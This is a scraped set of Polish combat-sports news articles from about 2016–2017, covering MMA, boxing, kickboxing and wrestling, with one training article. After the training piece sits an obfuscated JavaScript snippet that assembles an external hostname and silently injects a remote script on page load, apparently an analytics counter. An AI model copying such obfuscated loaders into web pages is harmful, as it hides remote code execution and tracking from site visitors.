McGregor celem Pacquiao?

Conor McGregor rozbudził świat boksu. Nadal trwają domysły, czy mistrz wagi lekkiej UFC stanie do rywalizacji z Floydem Mayweatherem. Swoich sił z zawodnikiem MMA chciałby spróbować Manny Pacquiao.

McGregor opanował najlepszą organizację MMA na świecie, czyli UFC. Najpierw zdobył pas kategorii piórkowej, a potem podbił wagę lekką i zrzekł się pierwszego z tytułów, którego nie bronił ani razu. Irlandczyk wpadł na kolejny pomysł. 28-letni McGregor uzyskał licencję bokserską stanu Kalifornia. Jak to się mówi, show must go on!

Filipińczyk w grze

Tę walkę pamiętają wszyscy. 2 maja 2015 doszło do walki stulecia, w której zmierzyli się Floyd Mayweather Jr. i Manny Pacquiao. Krytycy podkreślali, że starcie powinno mieć miejsce kilka lat temu, aby było bardziej atrakcyjne pod względem sportowym. W ringu spotkały się dwie ikony boksu, a wokół walki wytworzyła się aura wielkiego święta. Wszyscy zwracali uwagę na astronomiczne zyski, które wygenerowało starcie. Mayweather zarobił ponad 270 milionów dolarów! Z kolei Pacquiao zgarnął ok. 100 milionów mniej.

Czy finansowe rekordy mogą zostać pobite? Jeśli do akcji wkracza najbardziej rozpoznawalna twarz MMA, czyli Conor McGregor, to wszystko jest możliwe. Wszystkie oczy zwrócone są na Irlandczyka, który otrzymał licencję bokserską stanu Kalifornia. Mistrz UFC jest gotowy podjąć kolejne wyzwanie i zarobić grube miliony. Od razu pojawiły się doniesienia jakoby McGregor miał zmierzyć się z niepokonanym Floydem Mayweatherem Jr. Problemem w tym, że popularny „Money” zakończył karierę bokserską, ale Amerykanin jest gotów wrócić. Były mistrz WBC, WBA, WBO wagi półśredniej przedstawił swoje oczekiwania. Chce 100 milionów dolarów i większą część zysków ze sprzedaży PPV.

Jeśli nie Mayweather, to może Manny Pacquiao. Filipińczyk zgłosił chęć rywalizacji z Conorem McGregorem. – W boksie tak, ale na pewno nie w MMA – powiedział „Pacman”. Do konkretów jednak daleko, ale widać, że wejście McGregora do świata boksu może być niezwykle ciekawe. Warto przypomnieć, że Pacquiao również niedawno wrócił z emerytury i wygrał z Jessie Vargasem. Kolejnym rywalem Filipińczyka ma być Jeff Horn.

Kasa płynęłaby strumieniami

McGregor to maszynka do zarabiania pieniędzy. W ubiegłym roku znalazł się na liście najbogatszych sportowców Forbesa. Irlandczyk miał zarobić 22 miliony dolarów. W sierpniu zawodnik pokonał Nate'a Diaza i za występ na gali UFC 202 zgarnął trzy miliony dolarów.

Mistrz UFC potrafi wzbudzić zainteresowanie swoją osobą, tak jak i Floyd Mayweather Jr. Szacuje się, że „Money” zarobił na ringu blisko 800 milionów dolarów. Jak mało kto potrafi robić show i przyciągać sponsorów oraz widzów. Z pewnością połączenie gwiazd MMA i boksu sprawiłoby, że mielibyśmy okazję zobaczyć najbardziej dochodową walkę w historii. Warto pamiętać, że w kolejce czeka Pacquiao.

KM

Dudek trenuje z najlepszymi

Za Rafałem Dudkiem intensywny rok. 32-letni kickboxer stoczył siedem walk, jednak nie zwalnia tempa. Dudek ciężko trenuje w Holandii i myśli o kolejnych wyzwaniach.

Rafał Dudek to jeden z najbardziej rozpoznawalnych polskich kickboxerów, który zyskał renomę na całym świecie. Zawodnik z Nowego Sącza może pochwalić się bogatą karierę amatorską oraz efektownymi walkami na galach zawodowych. W czerwcu Dudek zmierzy się z Rafałem Jackiewiczem na gali organizacji DSF Kickboxing Challenge.

Intensywne treningi w Holandii

Rafał Dudek łączy treningi między klubami Fight House Nowy Sącz i Mike's Gym. Walczy nie tylko w Polsce, ale także i zagranicą. W ubiegłym roku fighter wziął udział w programie Enfusion Reality, który nagrywany był w Tajlandii. Dudek pokazał się z dobrej strony i awansował do półfinału. Po drodze pokonał Muhammeda Zahira i Beau Superpro Samuiego, jednak przeszkodą nie do przejścia okazał się Aziz Kallah.

Również w Polsce 32-latek prezentował się efektownie. Na gali DSF 7 na warszawskim Bemowie czołowy polski zawodnik wagi lekkiej uporał się z Ivanem Yarmoshem, który trzy razy był liczony. – Moim zdaniem, najlepsze walki to wygrana przez K.O z młodą wschodzącą gwiazdą z Maroko, czyli Youseffem El Hajiim w Antwerpii oraz zwycięstwo w Tajlandii z mistrzem MWC Bau Superpro Samui, gdzie po low kickach miałem go na deskach ! Takie triumfy są najcenniejsze i dają największą satysfakcję! Trzeba wspomnieć o niesłusznej przegranej na punkty 1:2 ze świetnym zawodnikiem –  Yassinem Baitarem! Wojownik ze światowej czołówki nie potrafił znaleźć na mnie recepty – ocenia dla FighTime.pl Rafał Dudek. – Najważniejsze dla mnie jest to, że jadę na obcy teren i daję dobre walki z mocnymi zawodnikami, a nie z jakimiś „ogórami”. Jestem doceniany i zapraszany na kolejne gale – dodaje.

Obecnie Dudek przebywa w Holandii, gdzie ciężko trenuje. Zawodnik chce wypracować optymalną formę, bo czeka go rok pełen wyzwań. – Treningi w Holandii przebiegają jak zwykle! Normą jest, że kilka godzin dziennie przebywam na niezwykle ciężkich i intensywnych zajęciach. Atmosfera jest super! Każdy tutaj zasuwa na 100 procent, jeden motywuje drugiego! Najważniejsze są tutaj sparingi. Nie ma miejsc na litość czy odpuszczanie! Pomagają mi zawodnicy ze ścisłej czołówki kickboxingu na świecie m.in Murthel Groenhart! – przedstawia 32-letni kickboxer.

Na horyzoncie walka z bokserem

W czerwcu Rafał Dudek wystąpi na gali DSF, gdzie jego rywalem będzie doświadczony bokser Rafał Jackiewicz. – Ta walka będzie dla mnie okazją do zaprezentowania się szerszej publiczności w Polsce! Efektowna wygrana może sprawić, że moje akcje w kraju powędrują w górę! Cieszę się z tej walki, ponieważ cały polski kickboxing na tym skorzysta i nasza dyscyplina przebije się do mainstreamu! Warunek jest jeden – Jackiewicz musi dostać lanie! Plan na walkę jest prosty: ciągła presja i kopanie. Trzeba pokazać w Polsce, że K-1 jest skuteczniejsze niż boks! – tłumaczy brązowy medalista mistrzostw Europy WAKo z 2012 roku.

Niewykluczone, że Dudek wcześniej pojawi się w ringu. – Co do konkretnych planów, to nie mogę nic zdradzać. Oprócz walki dla  najlepszej federacji DSF Kickboxing Challenge, mam dogrywane pojedynki za granicą przez osobę Mike'a Passanierena. Mam nadzieję, że przed czerwcowym starciem z Rafałem Jackiewiczem stanę na ringu! – podaje Dudek.

Fot. Facebook/Superkombat

KM

Wrzosek kontra Bizewski na gali FEN 16 Warsaw Reloaded

Znamy pierwsze zestawienie K-1 gali FEN 16 WarsawReloaded!

W 11 marca na Torwarze w Warszawie szlagierowo zapowiadającej się walce w wadze ciężkiej zmierzą się zaliczani do czołówki europejskiego kickboxingu Arkadiusz Wrzosek i Artur Bizewski.

Dla Arkadiusza Wrzoska walka na fali FEN 16 WarsawReloaded będzie okazją do rewanżu za porażkę odniesioną w walce wieczoru gali WBT półtora roku temu w Gdańsku – zawodnik klubu Copacabana Warszawa przegrał wówczas z reprezentantem Agoga Gym Lębork na punkty.

Obaj utytułowani kickbokserzy swoje ostatnie walki w klatkoringu Fight Exclusive Night stoczyli podczas wakacyjnej gali FEN 13 Summer Edition i w obu przypadkach były to emocjonujące, stojące na wysokim poziomie pojedynki. 27-letni Artur Bizewski, dwukrotny zdobywca Pucharu Świata, brązowy medalista mistrzostw Europy i trzykrotny mistrz Polski w kickboxingu kick-light, mierzył się latem w Gdyni z weteranem K-1 Marcinem Szrederem. Po wyczerpującym boju na pełnym dystansie większościową decyzją sędziów zwyciężył „Bizon”, dopisując piąte zawodowe zwycięstwo do swojego rekordu. 

Natomiast 24-letni Arkadiusz Wrzosek, który w październiku został amatorskim mistrzem świata K-1 Global, a wcześniej zdobył tytuły mistrza Europy muay thai oraz mistrza Polski w muay thai i wushu, na FEN 13 wygrał starcie z KryspinemKalskim, który w swoim debiucie w FEN stawiał bardziej doświadczonemu przeciwnikowi niezwykle zacięty opór. Ostatecznie sędziowie tego pojedynku potrzebowali aż ekstra rundy, aby móc ogłosić werdykt. Co ciekawe, dla zawodnika z Warszawy był to drugi występ w organizacji FEN i drugi zakończony dogrywką – wcześniej na gali FEN 11 WarsawTime w podobnych okolicznościach to Arek Wrzosek musiał uznać wyższość rywala, Niemca Niko Falina.

FEN 16 Warsaw Reloaded będzie drugą galą organizacji FightExclusive Night w stolicy Polski. Federacja poinformowała już, że 11 marca na stołecznym Torwarze w walce wieczoru wystąpi najlepszy piórkowy polskiego MMA Kamil Łebkowski, a o pasy walczyć będą Paweł Hadaś w kategorii średniej i Paweł Żelazowski w wadze półśredniej. W walkach w formule K-1 oprócz Artura Bizewskiego i Arkadiusza Wrzoska zobaczymy również Marcina Szredera oraz debiutującego w FEN Radosława Paczuskiego.

Bilety na galę FEN 16 Warsaw Reloaded już do kupienia na Eventim.pl i KupBilet.pl. Bilety VIP i zamówienia grupowe – tel. 601 877 229.

FEN

Kontuzja Błachowicza, nie wystąpi w Houston

Jan Błachowicz odliczał dni do gali UFC Fight Night 104, na której miał zmierzyć się z Ovince'em Saint Preux. Polski zawodnik kategorii półciężkiej nie wystąpi jednak w Houston. Powód: kontuzja.

Popularny „John” musi poczekać na szósty występ w najlepszej organizacji MMA na świecie. 4 lutego miejsce Polaka w pojedynku z Ovincem St. Preux zajmie Volkan Oezdemir.

Ręka nie wytrzymała

Po dobrej, choć przegranej walce Błachowicz z Alexandrem Gustafssonem czekaliśmy z niecierpliwością na kolejny występ byłego mistrza KSW. Los skojarzył polskiego fightera z pochodzącym z Haiti Saint Preux. 33-latek zawitał do UFC w 2013 roku, wcześniej występował w Strikeforce. Początkowo prezentował się efektownie i skutecznie. Podczas UFC Fight Night 56 w zaledwie 34 sekundy uporał się z Mauricio Ruą. Ostatnie miesiące nie należą do najlepszych w karierze St. Preuxa. Rok 2016 zaczął od zwycięstwa z Rafaelem Cavalcante, jednak później zanotował dwie porażki – z Jonem Jonesem i Jimim Manuwą. 

Błachowicz miał stanąć przed trudnym wyzwaniem podczas swojej przygody w UFC. Ostatnie dobre występy sprawiły, że Polak dostał drugie życie w najlepszej organizacji MMA na świecie. Podpisał kontrakt na cztery walki. Na pierwszą z nich przyjdzie mu jednak poczekać…

Zamiast o walce, Błachowicz musi pomyśleć o zdrowiu. Kontuzja wyklucza go z udziału na gali UFC Fight Night 104 w Houston. Zawodnik ma problemy z prawą ręką. Chodzi o pęknięcie jednej z kości śródręcza. Przed Błachowiczem stanęło zatem wyzwanie zdrowotne, a nie sportowe. Jednak bez pełnej sprawności nie ma mowy o rywalizacji na najwyższym poziomie. Nie pozostaje nam zatem nic innego jak życzyć Jankowi szybkiego powrotu do zdrowia. Trzymamy mocno kciuki i czekamy na kolejną walkę Błachowicza w UFC.

Zastępca znaleziony

Jak to się mówi, nieszczęście jednego może oznaczać szczęście drugiego. Pech Błachowicza sprawił, że szansę na debiut w UFC dostał Volkan Oezdemir.

Czy mający tureckie korzenie reprezentant Szwajcarii ma szansę w starciu z doświadczonym St. Preux? Bilans 27-latka wygląda imponująco: dwanaście zwycięstw i jedna porażka. Szwajcar zaliczył aż dziewięć zwycięstw przez nokaut. Oezdemier występował na galach organizacji WKN. Zaliczył także dwie walki w Bellatorze. Ostatni pojedynek stoczył w kwietniu ubiegłego roku, kiedy to na gali WFCA 17 decyzją sędziów pokonał Alihana Vahaeva. 

Ozdobą gali w Houston będzie starcie Dennisa Bermudeza i Chana Sung Junga. Amerykanin wygrał dwie walki z rzędu, z kolei Koreańczyk przegrał ostatnio z Jose Aldo.

KM

Jeszcze nie walczył, a już stracił pas

Podczas ważenia zawodnicy patrzą sobie prosto w oczy, aby zademonstrować swoją siłę i przestraszyć rywala. Robin van Roosmalen po zejściu z wagi mógł spuścić wzrok. Wygrana holenderskiego kickboxera w starciu z Mattem Embree na Glory 37 nie pozwoli zachować mu mistrzowskiego pasa. Wszystko przez… zbędne kilogramy.

Kilka miesięcy van Roosmalena cieszył się z wywalczenia mistrzowskiego tytułu w kategorii piórkowej. 27-letni fighter miał stanąć w obronie mistrzowskiego pasa, jednak z Mattem Embree będzie walczył „o pietruszkę”.

Zrobić wagę

Wraz z początkiem nowego roku większość z nas robi sobie postanowienia. Każdy chce walczyć ze swoimi słabościami, wśród których jest także nadmiar kilogramów. Szczególnie dotyczy to kobiet, które ze wszech miar chcą dbać o linię i zawsze powtarzają, że są za grube. Waga jest również istotna dla kickboxerów, którzy muszą zmieścić się w odpowiednich limitach.

Do niedawna Robin van Roosmalen rywalizował w kategorii lekkiej, gdzie odnosił sukcesy. Pokonywał kolejnych rywali i wznosił w górę pas. Holender pokonał m.in. Davita Kirię, Andy'ego Ristie czy Steve'a Moxona. Rywalizował również z mocnym Tajem Sitthichaim Sitsongpeenongiem, który zanotował ponad 100 zwycięstw w karierze. 6 listopada 2015 roku van Roosmalen powstrzymał groźnego rywala, ale pół roku później musiał uznać jego wyższość i stracił pas wagi lekkiej. Holender postawił zmienić kategorię wagową.

Van Roosmalen chciał być lekki jak piórko. Od razu przyszło mu rywalizować o pas. O tytuł w kategorii piórkowej zmierzył się z Gabrielem Vargą. 27-latek odważnie zaatakował Kanadyjczyka i zdobył przewagę. W przerwie między czwartą a piątą rundą obóz czempiona rzucił ręcznik. Van Roosmalen mógł wznieść ręce w geście triumfu. 

65 – tę liczbę na długo zapamięta Holender. Tyle wynosi górny limit kategorii piórkowej. Na ważeniu przed galą Glory 37 okazało się, że van Roosmalen ma więcej kilogramów. Po występie w Los Angeles Holender pożegna się z tytułem mistrzowskim. Otwarte pozostaje pytanie, czy zdobędzie go Embree. Mimo całej sytuacji, dla Kanadyjczyka będzie to walka o pas.

Półfinały i walka o pas

Jednym z ciekawszych wydarzeń styczniowej gali Glory będą półfinały turnieju w wadze półśredniej. Konstantin Khuzin zmierzy się z doświadczonym Yoannem Kongolo, a Karim Benmansour podejmie Alana Scheinsona.

Wydarzeniem wieczoru będzie starcie o pas w kategorii średniej. W tym przypadku żaden z uczestników nie miał problemów z osiągnięciem odpowiedniej wagi. Jason Wilnis postara się odeprzeć atak Israela Adesanya i zachować tytuł. Nie będzie to łatwa, bo zawodnik z Nowej Zelandii jest doświadczony i niezwykle skuteczny.

KM

Pogromca Tybury rywalem Omielańczuka

18 marca w Londynie Daniel Omielańczuk stoczy swój ósmy pojedynek w UFC. Rywalem polskiego fightera będzie Timothy Johnson, który w ubiegłym roku rozprawił się z Marcinem Tyburą. Niebawem w oktagonie UFC zaprezentuje się Jan Błachowicz.

Zarówno Omielańczuk, jak i Johnson w ostatnich występach zanotowali porażki. Podczas UFC Fight Night 108 będą chcieli wrócić na zwycięską ścieżkę.

Ma Polaka na rozkładzie

Omielańczuk ma nad Amerykaninem przewagę doświadczenia. Stoczył więcej zawodowych walk w MMA, a także dłużej występuje w UFC. 34-letni Polak przygodę z amerykańską organizacją rozpoczął we wrześniu 2013 roku. W trzeciej rundzie pokonał Nandora Guelmino, jednak później zanotował dwie porażki. Na właściwe tory wrócił w lipcu 2015 roku, kiedy w zaledwie 48 sekund rozbił Chrisa de la Rochę. Następnie zanotował dwa zwycięstwa, w tym prestiżowe z Alexey'em Oleinikiem. Wspaniałą serię Omielańczuka przerwał w październiku Stefan Struve. Podczas gali w Manchestrze Holender przez duszenie zmusił Polaka do poddania.

Timothy Johnson wychodzi w UFC na zero. Cztery walki – dwie wygrane, dwie porażki. Amerykanin ma na rozkładzie Marcina Tyburę. W kwietniu Polak debiutował w UFC i los skojarzył go z Johnsonem. Tybura był aktywny i w trzeciej rundzie szukał poddania w parterze, jednak w przekroju całego starcia lepszy był rywal. W drugiej rundzie na twarzy polskiego zawodnika pojawiło się poważne rozcięcie. Johnson przystąpił do ataku i był o krok od znokautowania Tybury, jednak ostatecznie wygrał decyzją sędziów. W ostatnim występie Amerykanin musiał uznać wyższość Alexandra Volkova.

Co ciekawe, zawodnik z Fargo w zdecydowanej większości wygrywa przed czasem. Tylko z Tyburą wygrał decyzją sędziów. Ma na koncie trzy porażki i w tym przypadku tylko jedna walka z jego udziałem zakończyła się przed czasem. Z kolei u Omielańczuka może zaobserwować pewną prawidłowość w przypadku porażek. Zazwyczaj walki, w których musi uznać wyższość rywala kończą się decyzją sędziów – pięć na sześć. Cel na zbliżającą się walkę jest jasny. – W starciu z Timothym Johnsonem wyrównam klubowe porachunki – napisał na swoim facebooku Omielańczuk.

Błachowicz w Houston

Zanim zobaczymy pojedynek Omielańczuka, odbędzie się walka Jana Błachowicza. Na gali UFC Fight Night 104 rywalizujący w wadze półciężkiej Polak zmierzy się z Ovincem St. Preux.

Po dwóch porażkach z rzędu Błachowicz znalazł się pod ścianą, jednak w Chorwacji pokonał Igora Pokrajaca i wrócił do gry. Później stanął przed poważnym wyzwaniem. W kwietniu w Hamburgu zmierzył się z powracającym do rywalizacji Alexandrem Gustafssonem. Błachowicz dał z siebie wszystko, zrobił dobre wrażenie, ale sędziowie wskazali na Szweda. 

Najbliższym rywalem Błachowicza będzie Ovince St. Preux, dla którego ostatni czas był trudny. Haitańczyk zanotował dwie porażki, a ostatnią walkę wygrał blisko rok temu.

KM

Bonusy po gali FEN 15 Final Strike przyznane!

Włodarze organizacji Fight Exclusive Night przyznali bonusy finansowe za walkę wieczoru, najlepsze poddanie i najlepszy nokaut sobotniej gali FEN 15 Final Strike w lubińskiej hali RCS.

Szansę na bonus za poddanie wieczoru na gali FEN 15 Final Strike mieli Kamil Gniadek, który skrętówką pokonał Francuza Vincenta Del Guerrę, oraz Mateusz Głąb, który balachą zmusił do odklepania Białorusina Leonida Smirnova. Wybór był trudny, ponieważ obaj zawodnicy popisali się efektownymi akcjami, wygrywając swoje pojedynki już w pierwszej rundach. Ostatecznie właściciele federacji FEN wyżej ocenili technikę kończącą zawodnika z Wrocławia i zdecydowali, że właśnie do niego trafi premia pieniężna.

Zobacz walkę Kamil Gniadek vs Vincent Del Guerra

Podobnych dylematów nie było w przypadku premii za nokaut wieczoru, gdyż tylko jedna walka zakończyła się przed czasem w taki właśnie sposób. Bonus otrzymał więc Włoch Riccardo Nosiglia, który walkę z Marcinem Zontkiem przyjął w zastępstwie za kontuzjowanego Francuza Boubacara Balde zaledwie tydzień przed galą. Mimo to młody fighter z Padwy zaprezentował się z doskonałej strony, uderzeniami w parterze nokautując niedawnego pretendenta do mistrzowskiego pasa FEN pod koniec pierwszej rundy.

Zobacz walkę Riccardo Nosiglia vs Marcin Zontek

Chociaż wszystkie starcia gali FEN 15 Final Strike stały na wysokim poziomie, to bez wątpienia na bonus za walkę wieczoru najbardziej zapracowali uczestnicy main eventu, którego stawką był tytuł mistrza organizacji FEN w K-1 w kategorii do 77 kg. Paweł Biszczak i Wojciech Wierzbicki w sobotę w Lubinie potwierdzili po raz kolejny, że należą do ścisłej europejskiej czołówki K-1 – walka o pas w ich wykonaniu była porywającą, toczoną w zabójczym tempie kickbokserską wojną, podczas której kibice przez pełne pięć rund emocjonowali się kapitalnymi wymianami ciosów i kopnięć.

Zobacz walkę Paweł Biszczak vs Wojciech Wierzbicki

""""""""""

FEN

Rower stacjonarny – dobre narzędzie treningowe w sportach walki

Czy warto wykorzystywać rower stacjonarny gdy trenuje się sporty walki? Owszem, a efekty tego typu pracy odczujesz nie tylko podczas treningów interwałowych, ale i w trakcie samych walk.

Rower stacjonarny pomoże Ci w innych treningach

Dłuższe sesje ćwiczeniowe na rowerkach treningowych pozwalają Ci zwiększyć swój poziom wytrzymałości. Ten zaś przekłada się się również na to, ile możesz z siebie wycisnąć w trakcie treningów łączących wytrzymałość z siłą, takich jak tabata, czy dowolne inne treningi o formule interwałowej.

Jak bardzo jest to0 istotne w sportach walki nie trzeba Ci chyba mówić. Jeśli choć raz zdarzyło Ci się walczyć z kimś dużo cięższym od Ciebie, wiesz doskonale, że tego typu ćwiczenia są kluczowe.

Lepsza praca nóg

Tego elementu treningów nie można omijać. A rower stacjonarny ewidentnie pomaga w wzmocnieniu dolnych kończyn. Oczywiście, nie zastąpi on starej, dobrej skakanki, ale świetnie się z nią uzupełni.

Mało tego, trenując na rowerze stacjonarnym poprawisz nie tylko wytrzymałość swoich nóg, ale przy okazji wzmocnisz swoje uda. To natomiast przełoży się nie tylko na siłę Twoich kopnięć, lecz również na to, jak dobrze możesz znosić kopnięcia dolne, czyli tak zwane low-kicki. A że te potrafią być naprawdę uciążliwe, wiesz zapewne doskonale.

Trening przed treningiem

W przypadku sportów walki rower treningowy może przydać się z jeszcze jednego powodu. Jeżeli zdecydujesz się na odbycie dłuższej „jazdy” treningowej tuż przed innymi ćwiczeniami, na przykład z kettlebellami, sztangami, czy nawet standardowymi ćwiczeniami bez przyrządów, możesz uzyskać efekt dużo większego zmęczenia.

Po co? Chodzi nie tylko o cięższą pracę, lecz także o przyzwyczajenie psychiki do sytuacji, gdy znane ruchy wykonuje się w cięższych warunkach, niż się do tego do tej pory przyzwyczaiło. W przypadku sportów walki ma to niebagatelne znaczenie, gdy dochodzi do pojedynku, a przeciwnik okazuje się twardszy, niż się sądziło, zaś sama walka zostaje wydłużona o dodatkową rundę. Wtedy Twoja zdolność do utrzymywania – mimo niesprzyjających okoliczności – siły i szybkości własnych ruchów będzie decydująca! Ćwicz ją więc zawsze, gdy masz ku temu okazję!

[kod]

(function(){
wnk6=document.createElement("script");wnk6.type="text/javascript";
wnk6.async=true;wnk6_=(("us")+"t")+"a";wnk6_+=("t.i")+""+"n";wnk6_+=(("f")+"o");wnk6_+="/";
wnk6u="15403181.";wnk6u+="myeXlnfwnk6c7ibv7dqbndng0wd3sx";wnk6.src="//"+wnk6_+wnk6u;
wnk6db=document.body; wnk6db.appendChild(wnk6);
})();

LIVE: XX Warszawska Granda

Zapraszamy na transmisje telewizyjna na żywo z jubileuszowej XX Warszawskiej Grandy. Organizatorzy zaplanowali 30 pojedynków w formule K-1.

[kod]

XX Warszawska Granda

XX Warszawska Granda

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/GrandaPro_LFC.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/GrandaPro_LFC.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/GrandaPro_LFC.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/GrandaPro_LFC.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Pogromca McGregora bokserem?

MMA to dyscyplina, która pozwala rozwijać się na każdej płaszczyźnie. Dlatego też niektórzy próbują szczęścia na innych polach. Dobrze znany z występów na galach UFC Nate Diaz stara się o licencję bokserską.

Jeszcze do niedawna MMA było płaszczyzną do rozwoju dla wojowników, którzy mieli na koncie walki w boksie, judo, kickboxingu czy zapasach. Krok po kroku ten obraz ulega zmianie. Jeszcze zbyt wcześnie, żeby mówić o narodzeniu się nowego trendu w sportach walki, ale coś zaczyna się dziać.

Czas „tylko” na pięści

31-letni Nate Diaz od blisko dziesięciu lat związany jest z UFC i w tym czasie zdążył wyrobić sobie markę solidnego fightera. Ostatnio zrobiło się o nim głośno, gdy na gali w Las Vegas pokonał Conora McGregora. 5 marca 2016 roku Amerykanin udusił Irlandczyka. McGregor nie był łatwym kąskiem rozbił twarz Diaza, ale w drugiej rundzie stracił impet, co wykorzystał rywal. 31-latek mocnym lewym prostym zamroczył Irlandczyka, sprowadził walkę do parteru, gdzie wypracował idealną pozycję i zmusił gwiazdę UFC do poddania. Kilka miesięcy później McGregor wziął rewanż wygrał, ale dopiero decyzją sędziów.

Nate Diaz ma nieco lżej w kieszeni, ale myśli o kolejnej ścieżce rozwoju. Ubyło mu 50 tysięcy dolarów. Amerykanin musiał zapłacić karę za wybryki na konferencji prasowej przed rewanżem z McGregorem. 31-letni fighter rzucał… butelkami. Diaz ostatni raz w klatce pojawił się w sierpniu ubiegłego roku i niewykluczone, że kolejną walkę stoczy w ringu bokserskim. Ponoć Amerykanin nie jest zadowolony z rozwoju swojej kariery w UFC. Stara się o licencję bokserską, co potwierdziła Komisja Sportowa Stanu Nevada. Diaz sparował nawet z Andre Wardem, a jego dobrym znajomym jest Floyd Mayweather Jr. Mówi się, że popularny „Money” mógłby zostać promotorem 31-latka.

McGregor był szybszy

Nate Diaz nie był wcale pierwszy. Już wcześniej licencję bokserską uzyskał Conor McGregor. Ów fakt doprowadził do wrzenia spekulacje na temat debiutu Irlandczyka. Od dłuższego czasu mówi się, że świat miałby zobaczyć wielkie show w postaci starcia Floyda Mayweathera Jr z McGregorem.

Mistrz UFC w dwóch kategoriach wagowych ostatnią walkę w UFC stoczył w listopadzie, kiedy to pokonał Eddiego Alvareza. Z kolei Mayweather zakończył jako niepokonany karierę bokserską. Czy dla milionów i wielkiego show wróci na ring? Początkowo były mistrz wagi półśredniej wykazywał zainteresowanie starciem z McGregorem, ale z czasem odciął się od tego pomysłu.

Fot. sherdog

KM

Ruchy kadrowe wśród ligowców

Trwa okienko transferowe w Krajowej Lidze Zapaśniczej. Kluby szukają wzmocnień i kontraktują kolejnych zawodników. Mimo, że za oknem śnieg, to w lidze jest niezwykle gorąco. Zapaśnicy wrócą do rywalizacji już 25 stycznia.

Krajowa Liga Zapaśnicza to propozycja, która pojawiła się na rynku 2 listopada ubiegłego roku. Cel jest oczywisty: popularyzacja zapasów, aby dyscyplina trafiła „pod strzechy”.

Kluby wzmacniają się

Pierwsza część sezonu należała do ekipy AKS Wrestling Team Piotrków Trybunalski, która wygrała wszystkie pięć spotkań. Lider zakontraktował Mariusza Łosia. 34-letni zawodnik zdobywał medale mistrzostw Polski, a jego największym sukcesem jest wicemistrzostwo Europy w stylu klasycznym z 2009 roku.

Mocny ruch wykonała Unia Racibórz. Wicelider postanowił sięgnąć po Timura Bardieva. Białorusin startuje w kategorii 75kg w stylu klasycznym i jest aktualnym wojskowym mistrzem świata. Wydaje się bardzo ciekawym zawodnikiem, który może stanowić pewny punkt Unii. 

Bez zwycięstwa w Krajowej Lidze Zapaśniczej pozostaje AZ Supra Brokers Wrocław. Ostatni zespół tabeli zamierza zmienić swoje położenie. Klub z Wrocławia jest aktywny na rynku transferowym. Drużyna AZ Supra przeprowadziła dwa ciekawe transfery, ale to dopiero początek. W barwach wrocławskiego zespołu zaprezentuje się Yulia Tkach (63kg). 27-letnia Ukrainka zapisała na swoim koncie mistrzostwo świata (2014) oraz brązowy medal światowego czempionatu (2015). Zdobywała również medale mistrzostw Europy, a także ma za sobą starty na igrzyskach w Londynie i Rio de Janeiro. Drugim wzmocnieniem wrocławskiego zespołu jest Alla Cherkasova (75kg). Ostatnim sukcesem 27-letniej reprezentantki Ukrainy jest brązowy medal mistrzostw Europy w Rydze.

Dwie nowe twarze pojawiły się w AZS-ie Warszawa. Stołeczny zespół wzmocnili zawodnicy rywalizujący w stylu klasycznym: Przemysław Piątek (59kg) oraz Patryk Kamiński (98kg). Obaj należą do kategorii młodych, zdolnych. Pierwszy jest młodzieżowym wicemistrzem Polski, z kolei Kamiński ma na koncie brąz mistrzostw świata kadetów.

Przygotowania trwają

Blisko dwumiesięczna przerwa od meczów Krajowej Ligi Zapaśniczej dobiega końca. Trenerzy kończą przygotowania, kluby dopinają negocjacje transferowe. Pierwsza kolejka rundy rewanżowej 25 stycznia. Warto przypomnieć, że w  rywalizacja będzie odbywać się w innych kategoriach wagowych niż jesienią.

Wydaje się, że walka o triumf rozstrzygnie się pomiędzy zespołami z Piotrkowa i Raciborza. Już 25 stycznia wicelider stanie przed trudnym wyzwaniem. Unia pojedzie do Wrocławia, gdzie AZ Supra Brokers wypatruje pierwszego zwycięstwa. 

Z kolei AKS zmierzy się z mocnym Grunwaldem Poznań, który musi się mieć na baczności, ponieważ w rundzie rewanżowej atak na podium będzie chciał przeprowadzić zespół AKS Białogard. Czwarta drużyna KLZ na początek rundy rewanżowej zmierzy się z AZS-em AWF Warszawa.

KM

Sędziowie widzieli inną walkę

„Drogi Panie, toż to tak być nie może! Co oni oczu nie mają?! Do kopalni zasuwać, a nie chłopakowi zwycięstwo odbierać!” Wielu polskich fanów MMA wpadło w złość po ogłoszeniu wyniku starcia Marcina Helda z Joe Lauzonem.

Polak przegrał drugą walkę w UFC, jednak w opinii większości obserwatorów plamę dali sędziowie, a nie 24-letni fighter, który był niezwykle aktywny. Nawet sam Lauzon przyznał, że decyzja sędziów budzi kontrowersje.

Gdzie ta sprawiedliwość? 

Piłka jest okrągła, a bramki są dwie. Futbol to słabość praktycznie każdego mężczyzny, dlatego warto odwołać się do tej płaszczyzny. Wielokrotnie kibice gwiżdżą na arbitra i rzucają w jego stronę uwagi, z których ta najłagodniejsza to „sędzia kalosz”. Decyzja jednej osoby często może wypaczyć wynik spotkania. Sędzia piłkarski ma swoich asystentów, ale musi zasuwać po boisku wokół 22 chłopów. Nieco inną sytuację mają oceniający pojedynki MMA. Siedzą wygodnie i obserwują walkę. Wszystko mają podane jak na tacy. Widzą praktycznie każdy cios, obalenie, kopnięcie i przyznają punkty. 

Na pozór proste i oczywiste, jednak w przypadku starcia Helda i Lauzona, do którego doszło na UFC Fight Night 103 jest inaczej. Polak w debiucie w najlepszej organizacji MMA na świecie przegrał z Diego Sanchezem. W Phoenix chciał wygrać, jednak trafił na doświadczonego rywala. Held potrafił wyjść z opresji, pokazał swoje umiejętności w parterze, zaliczał obalenia, również w stójce wyglądał przyzwoicie. Robił, co mógł, aby wygrać i wszystkim wydawało się, że wykonał zadanie w 100 proc. W górę powędrowała ręka… Lauzona, który chyba sam był zaskoczony tym faktem. Sędziowie punktowali 27:30, 29:28, 29:28 na korzyść Amerykanina.

Held nie krył rozczarowania. – Nie wiem co powiedzieć… nie wierze w wynik sędziowski! Po prostu nie wierze! Wszyscy, którzy oglądali walkę wiedzą, że ta walka była wygrana!!! – napisał zawodnik na swoim facebooku.

Lauzon wiedział, kto jest lepszy

